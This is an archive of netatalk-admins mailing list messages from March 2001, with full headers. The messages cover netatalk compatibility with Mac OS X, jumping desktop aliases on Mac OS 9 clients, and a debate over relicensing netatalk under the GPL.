Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA09595
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 27 Mar 2001 14:23:33 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA09045
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 27 Mar 2001 14:23:33 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA08970
	for netatalk.administrators-members@umich.edu; Tue, 27 Mar 2001 14:23:30 -0500 (EST)
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA08838
	for <netatalk-admins@umich.edu>; Tue, 27 Mar 2001 14:23:28 -0500 (EST)
Received: from imr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkiev21566
	for <netatalk-admins@umich.edu>; Tue, 27 Mar 2001 19:23:24 GMT
Received: from [153.39.168.41] by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: macsupport2.corp.us.uu.net [153.39.168.41])
	id QQkiev15948
	for <netatalk-admins@umich.edu>; Tue, 27 Mar 2001 19:20:31 GMT
Mime-Version: 1.0
X-Sender: zer0@mail.mac.com
Message-Id: <a05100903b6e69776ddec@[153.39.168.41]>
In-Reply-To: <200103271826.KAA10847@smtpout.mac.com>
References: <200103271826.KAA10847@smtpout.mac.com>
Date: Tue, 27 Mar 2001 14:20:09 -0500
To: netatalk-admins@umich.edu
From: David <zer0@mac.com>
Subject: Re: Mac OS X and netatalk...
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

I posted earlier last week about this.  Same trouble.  Although I 
found that netatalk-1.4b2+asun2.1.4 works!  I don't see how we could 
use DHX, just cleartext and 2way with the .passwd file.

Temporary solution I hope.

David Shaub

>I don't know if anybody else has been testing this combo recently. I 
>tested with the public beta and had no success copying or moving 
>files. Now, it appears to have gone from bad to worse, I cannot even 
>connect to the server. It connection "unexpectedly" closed. The 
>second time I tried connecting, I had a kernel panic (not me 
>personally, though close :-)
>
>Apple still has a way to go to get this up and running, so if you're 
>planning on buying public beta 2, don't bother for a while. I hope 
>not too many people have invested money in this yet.
>
>BTW - It's still as slow as the PB too, if not slower. All those 
>reports you've read on the web are rubbish. I think it's just geeks 
>playing with techie things as opposed to using it in the real world.
>
>Cheers,
>Jason.


From netatalk.administrators-errors@umich.edu  Tue Mar 27 14:31:13 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA09829
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 27 Mar 2001 14:31:13 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA20043
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 27 Mar 2001 14:31:13 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA19776
	for netatalk.administrators-members@umich.edu; Tue, 27 Mar 2001 14:31:11 -0500 (EST)
Received: from mail.iu13.k12.pa.us (mail.iu13.k12.pa.us [204.171.195.51])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA19667
	for <netatalk-admins@umich.edu>; Tue, 27 Mar 2001 14:30:56 -0500 (EST)
Received: from pegmatite.iu13.k12.pa.us (pegmatite.iu13.k12.pa.us [172.19.5.97])
	by mail.iu13.k12.pa.us (8.9.3/8.9.3) with ESMTP id OAA27893;
	Tue, 27 Mar 2001 14:30:32 -0500
Received: from localhost (localhost.localdomain [127.0.0.1])
        by pegmatite.iu13.k12.pa.us  with ESMTP id f2RJUW705758;
        Tue, 27 Mar 2001 14:30:32 -0500
Date: Tue, 27 Mar 2001 14:30:32 -0500 (EST)
From: "Kevin M. Myer" <kevin_myer@iu13.k12.pa.us>
To: <netatalk-admins@umich.edu>
cc: <netatalk-devel@lists.sourceforge.net>
Subject: Local desktop aliases point to wrong server documents/folders
Message-ID: <Pine.LNX.4.33.0103271416340.5722-100000@pegmatite.iu13.k12.pa.us>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Hi,

We are running netatalk-1.5pre3 under Linux 2.2.17 on x86 hardware.
Recently, it was brought to my attention that some users are experiencing
problems with local desktop aliases having the original source being
changed, apparently at random.  For example, each user has a folder in
their home directory called MyDocuments.  One user logged on, made an
alias on his desktop of MyDocuments and began to work.  At one point,
before his very eyes, the alias changed from a folder to a trash can and
when I did a Get Info, the alias now pointed to Network Trash.  Strange.
This was on a ruby iMac running MacOS 9.1; another ruby iMac user has
reported similar problems and she is running either 9.0.4 or 9.1.  I have
not been able to duplicate on my machine this problem.

I see that the symptoms are also available from another OS at
http://www.macwindows.com/servtips.html, namely the portion about "jumping
alias" problem (not to be confused with the jumping icons).  That was
with Windows NT 4 and apparently there isn't a known fix.

Throw into the mix that I've pretty much confirmed that Apple Menu Items
does strange things with any server aliased in Recent Server Items and I'm
not sure whether to blame MacOS, netatalk, Apple Menu Items, or just
gremlins.  I could see this being a problem resulting from non-persistent
DIDs with netatalk, except that the aliases on the desktop change _during_
a single login, not across multiple afpd instances (i.e. right smack dab
in the middle of doing work, the alias will change to a different original
source).  I could definitely see this being an Apple Menu CDEV problem,
since the original problem I discovered with that was that when you
accessed a server using Recent Server Items, aliases on the server pointed
to the wrong place.  Accessed via Chooser or via an alias on the desktop,
the aliases worked.  I'm going to try disabling that control panel and see
if the problem goes away on the two problem machines.

I'm curious what anyone else makes of this and if they have experienced
simliar symptoms.  If so, drop me a line.

-- 
Kevin M. Myer
Systems Administrator
Lancaster-Lebanon Intermediate Unit 13
(717)-560-6140


From netatalk.administrators-errors@umich.edu  Tue Mar 27 14:32:30 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA09871
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 27 Mar 2001 14:32:30 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA19772
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 27 Mar 2001 14:32:23 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA19163
	for netatalk.administrators-members@umich.edu; Tue, 27 Mar 2001 14:31:58 -0500 (EST)
Received: from wolverine.emji.net (wolverine.emji.net [207.22.135.6])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA19021
	for <netatalk-admins@umich.edu>; Tue, 27 Mar 2001 14:31:57 -0500 (EST)
Received: from [0.0.0.0] (sdhcp5.emji.net [207.100.35.248])
	by wolverine.emji.net (8.9.3/8.9.3) with ESMTP id OAA18400;
	Tue, 27 Mar 2001 14:29:00 -0500
Date: Tue, 27 Mar 2001 14:31:53 -0500
From: Scott Every <scott@emji.net>
To: Jason Quigley <jasonq@mac.com>
cc: netatalk-admins@umich.edu
Subject: Re: Mac OS X and netatalk...
Message-ID: <26472.985703512@[0.0.0.0]>
In-Reply-To: <200103271911.LAA17124@smtpout.mac.com>
References:  <200103271911.LAA17124@smtpout.mac.com>
X-Mailer: Mulberry/2.1.0a2 (Mac OS X)
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

i used th db on an ibook 300 for over a month as my only machine and had no 
problems other than classic was terrible in the beta.  i imagine that 
configured correctly, it will run just fine.  the key is a clean classic OS 
with no extra extensions.

let me repeat...classic works suprisingly well with most apps.

s

--On Tuesday, March 27, 2001 9:11 PM +0200 Jason Quigley <jasonq@mac.com> 
wrote:

> On Tuesday, March 27, 2001, at 08:51  pm, Scott Every wrote:
>
>> actually, i use it in the real world and it runs VERY well on the new
>> pbg4
>
> pbg4 says it all. OS X has acceleration for G4 machines. Those of us with
> with G3's have to live in a world where, in comparison,  OS 8.1 feels
> positively spritely on a 7100/66! ;-)
>
> Cheers,
> Jason.



From netatalk.administrators-errors@umich.edu  Tue Mar 27 15:06:25 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA10714
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 27 Mar 2001 15:06:25 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA21897
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 27 Mar 2001 15:06:25 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA21879
	for netatalk.administrators-members@umich.edu; Tue, 27 Mar 2001 15:06:24 -0500 (EST)
Received: from potsdam.edu (potsdam.edu [137.143.110.101])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id PAA21827
	for <netatalk-admins@umich.edu>; Tue, 27 Mar 2001 15:06:22 -0500 (EST)
Received: (qmail 14411 invoked by alias); 27 Mar 2001 20:06:25 -0000
Received: (qmail 14398 invoked by uid 0); 27 Mar 2001 20:06:24 -0000
Received: from comp10574.potsdam.edu (HELO mail.potsdam.edu) (137.143.111.133)
  by potsdam.edu with SMTP; 27 Mar 2001 20:06:24 -0000
Date: Tue, 27 Mar 2001 15:06:15 -0500
From: Matthew Keller <kellermg@potsdam.edu>
To: "Bruce A. Burdick, Jr." <bucky@interaccess.com>
Cc: netatalk-admins@umich.edu
Subject: Re: Another reason to go GPL
Message-ID: <20010327150615.O1212@comp10574.potsdam.edu>
References: <Pine.LNX.4.30.0103270953280.16669-100000@bowman.scf.orst.edu> <B6E637BA.13156%bucky@interaccess.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
In-Reply-To: <B6E637BA.13156%bucky@interaccess.com>; from bucky@interaccess.com on Tue, Mar 27, 2001 at 13:27:38 -0500
X-Mailer: Balsa 1.1.2
Lines: 27


On 2001.03.27 13:27:38 -0500 "Bruce A. Burdick, Jr." wrote:
> A reason not to go GPL: companies will be less likely to assist with
> development if they can't release their own version without being
> _compelled_ to give away everything they've done on it.

	Couch that as "some companies" and I'll whole-heartedly agree with
you. There are others who won't assist because their contributions aren't
guaranteed free. For example, company X adds widget support to Netatalk,
company Y - under the BSD license - can take that widget support code and
add it to their proprietary product. I've worked with a lot more
clients/companies that dislike the BSD license for those reasons, than
don't want to be forced to commit code (although they do exist, don't get
me wrong).

> Perhaps Samba should consider the BSD license.

	This has been discussed a number of times, and always met with
overwhelming rejection.
-- 
Matthew Keller
Enterprise System Analyst
Computing & Technology Services
Information Services Division
State University of NY at Potsdam

http://mattwork.potsdam.edu/


From netatalk.administrators-errors@umich.edu  Tue Mar 27 15:13:46 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA10858
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 27 Mar 2001 15:13:46 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA02771
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 27 Mar 2001 15:13:46 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA02747
	for netatalk.administrators-members@umich.edu; Tue, 27 Mar 2001 15:13:45 -0500 (EST)
Received: from mathserv.math.ohio-state.edu (mathserv.math.ohio-state.edu [128.146.111.31])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA02717
	for <netatalk-admins@umich.edu>; Tue, 27 Mar 2001 15:13:44 -0500 (EST)
Received: from math.ohio-state.edu (IDENT:postfix@hooloovoo.math.ohio-state.edu [128.146.111.37])
	by mathserv.math.ohio-state.edu (8.11.2/8.11.2) with ESMTP id f2RKDgH29784;
	Tue, 27 Mar 2001 15:13:42 -0500
Received: by math.ohio-state.edu (Postfix, from userid 2405)
	id D5207B65F; Tue, 27 Mar 2001 15:13:41 -0500 (EST)
Received: from localhost (localhost [127.0.0.1])
	by math.ohio-state.edu (Postfix) with ESMTP
	id BEEFEB65E; Tue, 27 Mar 2001 15:13:41 -0500 (EST)
Date: Tue, 27 Mar 2001 15:13:41 -0500 (EST)
From: Chad Cunningham <ccunning@math.ohio-state.edu>
To: Scott Every <scott@emji.net>
Cc: Jason Quigley <jasonq@mac.com>, <netatalk-admins@umich.edu>
Subject: Re: Mac OS X and netatalk...
In-Reply-To: <26472.985703512@[0.0.0.0]>
Message-ID: <Pine.LNX.4.30.0103271511350.11024-100000@hooloovoo.math.ohio-state.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


I agree, I've got the final release on an iBook G3 300 and it works great.
The slowness associated with PB is gone, doesn't get hung up switching
active windows, etc. Apps are still a bit slow to launch, but waking up
from sleep is much much faster. Speed on classic apps is excellent, much
much better than PB.

Really, I think it will run fine on any G3 with sufficient ram (at least
128 if you want to use classic).

On Tue, 27 Mar 2001, Scott Every wrote:

> i used th db on an ibook 300 for over a month as my only machine and had no
> problems other than classic was terrible in the beta.  i imagine that
> configured correctly, it will run just fine.  the key is a clean classic OS
> with no extra extensions.
>
> let me repeat...classic works suprisingly well with most apps.
>
> s
>
> --On Tuesday, March 27, 2001 9:11 PM +0200 Jason Quigley <jasonq@mac.com>
> wrote:
>
> > On Tuesday, March 27, 2001, at 08:51  pm, Scott Every wrote:
> >
> >> actually, i use it in the real world and it runs VERY well on the new
> >> pbg4
> >
> > pbg4 says it all. OS X has acceleration for G4 machines. Those of us with
> > with G3's have to live in a world where, in comparison,  OS 8.1 feels
> > positively spritely on a 7100/66! ;-)
> >
> > Cheers,
> > Jason.
>
>

-- 

Chad Cunningham
ccunning@math.ohio-state.edu

"Well, once again my friend, we find that science is a two-headed beast. One
head is nice, it gives us aspirin and other modern conveniences,...but the
other head of science is bad! Oh beware the other head of science, Arthur, it
bites!"


From netatalk.administrators-errors@umich.edu  Tue Mar 27 15:37:59 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA11886
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 27 Mar 2001 15:37:59 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA22650
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 27 Mar 2001 15:37:59 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA22630
	for netatalk.administrators-members@umich.edu; Tue, 27 Mar 2001 15:37:58 -0500 (EST)
Received: from smtpout.mac.com (smtpout.mac.com [204.179.120.88])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA22581
	for <Netatalk-Admins@Umich.Edu>; Tue, 27 Mar 2001 15:37:57 -0500 (EST)
Received: by smtpout.mac.com; Tue, 27 Mar 2001 12:31:42 -0800 (PST)
Message-Id: <200103272031.MAA27837@smtpout.mac.com>
Received: from asmtp02.mac.com ([10.13.10.66]) by
          smtp-relay01.mac.com (Netscape Messaging Server 4.15) with ESMTP
          id GAVICT00.057 for <Netatalk-Admins@Umich.Edu>; Tue, 27 Mar
          2001 12:31:41 -0800 
Received: from localhost ([213.97.106.73]) by asmtp02.mac.com
          (Netscape Messaging Server 4.15) with ESMTP id GAVICR00.SCK for
          <Netatalk-Admins@Umich.Edu>; Tue, 27 Mar 2001 12:31:39 -0800 
Date: Tue, 27 Mar 2001 22:31:31 +0200
Content-Type: text/plain;
	format=flowed;
	charset=us-ascii
X-Mailer: Apple Mail (2.387)
From: Jason Quigley <jasonq@mac.com>
To: <Netatalk-Admins@umich.edu>
Mime-Version: 1.0 (Apple Message framework v387)
In-Reply-To: <Pine.LNX.4.30.0103271511350.11024-100000@hooloovoo.math.ohio-state.edu>
Subject: Re: Mac OS X and netatalk...
Content-Transfer-Encoding: 7bit

Everybody is talking about Classic here. Granted, that's faster, but 
things like re-sizing windows and using the finder are just as slow, 
even if they do look prettier.

Cheers,
Jason.


On Tuesday, March 27, 2001, at 10:13  pm, Chad Cunningham wrote:

>
> I agree, I've got the final release on an iBook G3 300 and it works 
> great.
> The slowness associated with PB is gone, doesn't get hung up switching
> active windows, etc. Apps are still a bit slow to launch, but waking up
> from sleep is much much faster. Speed on classic apps is excellent, much
> much better than PB.
>
> Really, I think it will run fine on any G3 with sufficient ram (at least
> 128 if you want to use classic).
>

From netatalk.administrators-errors@umich.edu  Tue Mar 27 15:50:57 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA12461
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 27 Mar 2001 15:50:57 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA10606
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 27 Mar 2001 15:50:57 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA10584
	for netatalk.administrators-members@umich.edu; Tue, 27 Mar 2001 15:50:56 -0500 (EST)
Received: from keam1 (keam1.vcc.bc.ca [142.30.247.21])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id PAA10528
	for <netatalk-admins@umich.edu>; Tue, 27 Mar 2001 15:50:54 -0500 (EST)
Received: from VCC-Message_Server by keam1
	with Novell_GroupWise; Tue, 27 Mar 2001 12:52:36 -0800
Message-Id: <sac08d14.095@keam1>
X-Mailer: Novell GroupWise Internet Agent 5.5.4.1
Date: Tue, 27 Mar 2001 12:52:16 -0800
From: "Bryn Hughes" <bhughes@vcc.bc.ca>
To: <netatalk-admins@umich.edu>
Subject: Re: Local desktop aliases point to wrong server
	documents/folders
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id PAA12461

I've had exactly the same problems.  Aliases TO folders the server get very screwy.  Some software, such as Assimilator which uses aliases to track it's source folder get very upset with this.  Strangely enough, I haven't had much of a problem with aliases to Applications, only to folders.

Bryn

>>> "Kevin M. Myer" <kevin_myer@iu13.k12.pa.us> 03/27/01 11:30AM >>>
Hi,

We are running netatalk-1.5pre3 under Linux 2.2.17 on x86 hardware.
Recently, it was brought to my attention that some users are experiencing
problems with local desktop aliases having the original source being
changed, apparently at random.  For example, each user has a folder in
their home directory called MyDocuments.  One user logged on, made an
alias on his desktop of MyDocuments and began to work.  At one point,
before his very eyes, the alias changed from a folder to a trash can and
when I did a Get Info, the alias now pointed to Network Trash.  Strange.
This was on a ruby iMac running MacOS 9.1; another ruby iMac user has
reported similar problems and she is running either 9.0.4 or 9.1.  I have
not been able to duplicate on my machine this problem.

I see that the symptoms are also available from another OS at
http://www.macwindows.com/servtips.html, namely the portion about "jumping
alias" problem (not to be confused with the jumping icons).  That was
with Windows NT 4 and apparently there isn't a known fix.

Throw into the mix that I've pretty much confirmed that Apple Menu Items
does strange things with any server aliased in Recent Server Items and I'm
not sure whether to blame MacOS, netatalk, Apple Menu Items, or just
gremlins.  I could see this being a problem resulting from non-persistent
DIDs with netatalk, except that the aliases on the desktop change _during_
a single login, not across multiple afpd instances (i.e. right smack dab
in the middle of doing work, the alias will change to a different original
source).  I could definitely see this being an Apple Menu CDEV problem,
since the original problem I discovered with that was that when you
accessed a server using Recent Server Items, aliases on the server pointed
to the wrong place.  Accessed via Chooser or via an alias on the desktop,
the aliases worked.  I'm going to try disabling that control panel and see
if the problem goes away on the two problem machines.

I'm curious what anyone else makes of this and if they have experienced
simliar symptoms.  If so, drop me a line.

-- 
Kevin M. Myer
Systems Administrator
Lancaster-Lebanon Intermediate Unit 13
(717)-560-6140



From netatalk.administrators-errors@umich.edu  Tue Mar 27 16:12:06 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA13021
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 27 Mar 2001 16:12:05 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA05110
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 27 Mar 2001 16:11:59 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA05084
	for netatalk.administrators-members@umich.edu; Tue, 27 Mar 2001 16:11:58 -0500 (EST)
Received: from mta4-rme.xtra.co.nz (mta4-rme.xtra.co.nz [203.96.92.15])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id QAA04999
	for <Netatalk-Admins@umich.edu>; Tue, 27 Mar 2001 16:11:54 -0500 (EST)
Received: from [192.168.1.112] ([210.54.213.206]) by mta4-rme.xtra.co.nz
          with ESMTP
          id <20010327211211.OHXQ13542196.mta4-rme.xtra.co.nz@[192.168.1.112]>
          for <Netatalk-Admins@umich.edu>; Wed, 28 Mar 2001 09:12:11 +1200
Mime-Version: 1.0
X-Sender: darena6@pop3.xtra.co.nz
Message-Id: <p05100900b6e6b0e6df42@[192.168.1.112]>
In-Reply-To: <200103272031.MAA27837@smtpout.mac.com>
References: <200103272031.MAA27837@smtpout.mac.com>
Date: Wed, 28 Mar 2001 09:12:04 +1200
To: Netatalk-Admins@umich.edu
From: Marcus Radich <marcus@darena.co.nz>
Subject: Re: Mac OS X and netatalk...
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

OK, it's slower. Bugger. Next topic.

For those of you who are reasonably new to the Mac platform, I can 
tell you from experience:

System 1.1 was faster than System 4.2
System 6.0.7 was MUCH faster than System 7
System 7.6.1 was MUCH faster than Mac OS 8.

I went back and forward between System 6.0.5 and System 7 SEVERAL 
times on my SE/30 back in 1991. System 6.0.5 was a ROCKET on the 
SE/30, System 7 was a DOG!

Today, we don't run 6.0.5, we got over it, we accepted 7, it turned 
out better after 7.1, we moved on.

Think about it.

mrad01

BTW, netatalk 1.4b2+asun 214 -37b works very well with Mac OS X as 
long as you add the DEFS= -DFLOCKS thingy to the sys/Linux/Makefile 
before you compile. I haven't tried 1.5. You can only connect via IP 
(great!) and transferring files large and small has worked for me 
since 4K46

mrad01


At 10:31 PM +0200 27/3/2001, Jason Quigley wrote:
>Everybody is talking about Classic here. Granted, that's faster, but 
>things like re-sizing windows and using the finder are just as slow, 
>even if they do look prettier.
>
>Cheers,
>Jason.
>
>
>On Tuesday, March 27, 2001, at 10:13  pm, Chad Cunningham wrote:
>
>>
>>I agree, I've got the final release on an iBook G3 300 and it works great.
>>The slowness associated with PB is gone, doesn't get hung up switching
>>active windows, etc. Apps are still a bit slow to launch, but waking up
>>from sleep is much much faster. Speed on classic apps is excellent, much
>>much better than PB.
>>
>>Really, I think it will run fine on any G3 with sufficient ram (at least
>>128 if you want to use classic).



-- 
========================================================

"Always ask the question, never assume the answer."
		Marcus Radich 1999

========================================================

From netatalk.administrators-errors@umich.edu  Tue Mar 27 16:24:32 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA13470
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 27 Mar 2001 16:24:32 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA27586
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 27 Mar 2001 16:24:32 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA27542
	for netatalk.administrators-members@umich.edu; Tue, 27 Mar 2001 16:24:30 -0500 (EST)
Received: from changeofhabit.mr.itd.umich.edu (changeofhabit.mr.itd.umich.edu [141.211.144.17])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id QAA27481
	for <netatalk-admins@umich.edu>; Tue, 27 Mar 2001 16:24:28 -0500 (EST)
Received: from adsl-242-15.ns.itd.umich.edu (adsl-242-15.ns.itd.umich.edu [141.213.242.15])
	by changeofhabit.mr.itd.umich.edu (8.9.3/3.2r) with ESMTP id QAA28184; Tue, 27 Mar 2001 16:24:23 -0500 (EST)
From: wes@umich.edu
Date: Tue, 27 Mar 2001 16:24:23 -0500
To: andrew morgan <morgan@orst.edu>
cc: netatalk-devel@lists.sourceforge.net, netatalk-admins@umich.edu
Subject: Re: Another reason to go GPL
Message-ID: <5568488.3194699063@adsl-242-15.ns.itd.umich.edu>
In-Reply-To: <Pine.LNX.4.30.0103270953280.16669-100000@bowman.scf.orst.edu>
X-Mailer: Mulberry/2.0.6 (MacOS)
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

It's no problem to release netatalk under a GPL license, so long as all of
the previous licenses are kept.  Presuming GPL will allow that, you should
do as it suits the current developers.

BTW, the volunteer from the sourceforge netatalk team on netatalk@umich.edu
is now bouncing mail.  Someone from that group should read 
netatalk@umich.edu
since questions about 1.5 go there.

:wes

--On Tuesday, March 27, 2001 9:55 AM -0800 andrew morgan <morgan@orst.edu> 
wrote:

>
> Here's another reason we should go GPL with netatalk.  Samba has a piece
> of code which does quotas on Veritas File Systems which I need to use at
> our site.  Same problem as the file locking code though.  We can't take
> GPL code and place it in netatalk without releasing netatalk as GPL.
>
> I may be able to get permission from the author of that particular piece
> of code to include it in netatalk anyways, but the samba project itself
> will not release the code for our use.
>
> GPL - just do it.  :P
>
> 	 Andy





From netatalk.administrators-errors@umich.edu  Tue Mar 27 16:46:21 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA14084
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 27 Mar 2001 16:46:21 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA19519
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 27 Mar 2001 16:46:21 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA19509
	for netatalk.administrators-members@umich.edu; Tue, 27 Mar 2001 16:46:21 -0500 (EST)
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id QAA19494
	for <netatalk-admins@umich.edu>; Tue, 27 Mar 2001 16:46:20 -0500 (EST)
Received: from imr2.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkiff00300
	for <netatalk-admins@umich.edu>; Tue, 27 Mar 2001 21:46:19 GMT
Received: from [153.39.168.41] by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: macsupport2.corp.us.uu.net [153.39.168.41])
	id QQkiff20134
	for <netatalk-admins@umich.edu>; Tue, 27 Mar 2001 21:46:02 GMT
Mime-Version: 1.0
X-Sender: zer0@mail.mac.com
Message-Id: <a05100900b6e6b65c1be4@[153.39.168.41]>
In-Reply-To: <p05100900b6e6b0e6df42@[192.168.1.112]>
References: <200103272031.MAA27837@smtpout.mac.com>
 <p05100900b6e6b0e6df42@[192.168.1.112]>
Date: Tue, 27 Mar 2001 16:45:40 -0500
To: netatalk-admins@umich.edu
From: David <zer0@mac.com>
Subject: Re: Mac OS X and netatalk...
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

Marcus,

I will give that a try.  I hope it works so I can get DHX 
authentication back.  I will try recompiling with the added flag on 
1.5 first and see what happens.

